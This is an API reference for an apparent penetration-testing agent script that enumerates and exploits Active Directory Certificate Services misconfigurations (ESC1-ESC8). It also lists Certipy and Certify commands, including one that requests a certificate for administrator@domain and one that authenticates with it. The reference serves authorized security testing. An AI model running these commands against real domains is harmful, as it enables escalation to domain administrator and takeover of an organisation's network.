<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# exploiting-ad-certificate-services — API Reference

## Agent Script

| Command | Description |
|---------|-------------|
| `enumerate --domain <fqdn> --dc-ip <ip>` | Enumerate AD CS templates for ESC1-ESC8 |
| `exploit --domain <fqdn> --dc-ip <ip> --esc-type <ESCn> --template <name> --ca <ca>` | Exploit specific ESC class |
| `analyze --domain <fqdn> --dc-ip <ip>` | Analyze assessment results |
| `report --domain <fqdn> --format <fmt>` | Generate AD CS report |

## Parameters

| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `--domain` | string | Yes | Target AD domain FQDN |
| `--dc-ip` | string | Yes | Domain controller IP address |
| `--esc-type` | string | Yes (exploit) | ESC vulnerability class (ESC1-ESC8) |
| `--template` | string | Yes (exploit) | Vulnerable template name |
| `--ca` | string | Yes (exploit) | Certificate Authority server name |

## External Tool Reference

| Tool | Command | Purpose |
|------|---------|---------|
| Certipy | `certipy find -vulnerable` | Enumerate vulnerable AD CS templates |
| Certipy | `certipy req -upn administrator@domain` | Request forged certificate |
| Certipy | `certipy auth -pfx cert.pfx` | Authenticate with certificate |
| Certify | `Certify.exe find /vulnerable` | Windows AD CS enumeration |
